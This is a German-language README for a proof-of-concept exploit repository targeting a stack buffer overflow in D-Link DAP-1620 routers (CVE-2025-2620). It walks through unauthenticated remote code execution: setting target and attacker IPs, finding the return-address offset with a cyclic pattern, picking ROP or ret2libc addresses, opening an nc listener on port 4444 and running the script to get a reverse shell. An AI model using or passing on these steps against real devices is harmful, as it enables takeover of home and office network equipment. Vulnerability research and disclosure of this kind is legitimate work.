
Proof-of-Concept-Exploit für CVE-2025-2620, einen kritischen stack-basierten Pufferüberlauf in D-Link DAP-1620-Routern, der nicht authentifizierte Remote-Codeausführung und Reverse-Shell-Zugriff ermöglicht.
Dieses Repository enthält einen fortgeschrittenen Proof-of-Concept (PoC)-Exploit für CVE-2025-2620, eine kritische Stack-basierte Pufferüberlauf-Schwachstelle, die im D-Link DAP-1620 Router mit der Firmware-Version 1.03 entdeckt wurde. Diese Schwachstelle ermöglicht es nicht authentifizierten Remote-Angreifern, den Webserver des Routers zum Absturz zu bringen (Denial-of-Service, DoS) und potenziell beliebigen Code auszuführen (Remote Code Execution, RCE).
Der Zweck dieses Projekts ist es, Exploit-Entwicklungsfähigkeiten zu demonstrieren.
CVE-2025-2620 betrifft die mod_graph_auth_uri_handler-Funktion des D-Link DAP-1620-Routers, insbesondere innerhalb des /storage-Endpunkts. Die Schwachstelle wird durch fehlerhafte Grenzüberprüfung verursacht, die es einem Angreifer ermöglicht, eine große Eingabe zu senden, die die zugewiesene Puffergröße überschreitet, was zu einem Stack-basierten Pufferüberlauf führt.
Die anfällige Funktion verarbeitet einen Authentifizierungsparameter (auth) aus HTTP-Anfragen:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Stack-Puffer mit fester Größe
strcpy(buffer, input); // Keine Längenprüfung, verursacht Überlauf
// Authentifizierung verarbeiten...
}
Ein Angreifer, der eine übergroße Nutzlast sendet (z.B. 1024+ Bytes), überschreibt angrenzenden Speicher, einschließlich der Rücksprungadresse der Funktion, was möglicherweise zu Codeausführung führt.
| Metrik | Wert |
|---|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
Der D-Link DAP-1620 ist ein WLAN-Reichweitenverstärker mit folgenden Spezifikationen:
Andere D-Link-Router/Verstärker mit ähnlicher Firmware könnten ebenfalls betroffen sein.
Kombinierter PoC – Beinhaltet sowohl Pufferüberlauf-Tests als auch RCE-Exploit.
Stack-basierter Pufferüberlauf-Test – Identifiziert anfällige Router.
Vollständiger Remote-Code-Ausführungs-Exploit (RCE) – Erzeugt eine Reverse-Shell.
Konfigurierbare Nutzlastgröße & Rücksprungadresse – Anpassbar für verschiedene Router-Modelle.
Verbessertes Debugging – Protokolliert Crash-Offsets zur Verfeinerung der Exploit-Parameter.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Stellen Sie sicher, dass Python3 und pwntools installiert sind:
pip install pwntools
Ändern Sie das Skript CVE-2025-2620_poc.py:
TARGET_IP = "192.168.0.1" # an Ihren Router anpassen
ATTACKER_IP = "192.168.0.100" # an Ihre lokale IP anpassen
ATTACKER_PORT = 4444 # bei Bedarf ändern
BUFFER_SIZE = 8000 # Erhöhen, falls der Router nicht abstürzt
Ändern Sie den PoC, um ein eindeutiges Muster zu generieren und zu senden:
MODE = "overflow" # Auf "overflow" setzen, um den Offset zu finden
Führen Sie das Skript aus:
python3 CVE-2025-2620_poc.py
Nachdem der Router abgestürzt ist, überprüfen Sie die Segfault-Adresse (EIP auf x86 oder RA auf MIPS) aus:
gdb)dmesg | grep 'segfault'Suchen Sie nach einer Adresse wie 0x61616161 (was bedeutet, dass ein Teil des zyklischen Musters den Rücksprungzeiger überschrieben hat).
Verwenden Sie cyclic_find, um den genauen Offset zu ermitteln:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Durch die Crash-Adresse ersetzen
Dies liefert den genauen OFFSET-Wert. Aktualisieren Sie Ihren PoC:
OFFSET = <GEFUNDENER OFFSET> # Durch die tatsächliche Zahl ersetzen
RET_ADDR) findenOption 1: Finden eines JMP- oder CALL-Gadgets
ROPgadget --binary anfällige_binärdatei | grep "jmp"
Wählen Sie eine Adresse, die zu einem Register springt (z.B. jmp $sp oder jmp $ra).
Option 2: Verwenden einer ret2libc-Adresse
Finden Sie die Adresse von system() in libc:
objdump -D /lib/libc.so.6 | grep "system"
Verwenden Sie sie dann als RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Durch tatsächliche Adresse ersetzen
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Entwickelt mit ❤️ von Otsmane Ahmed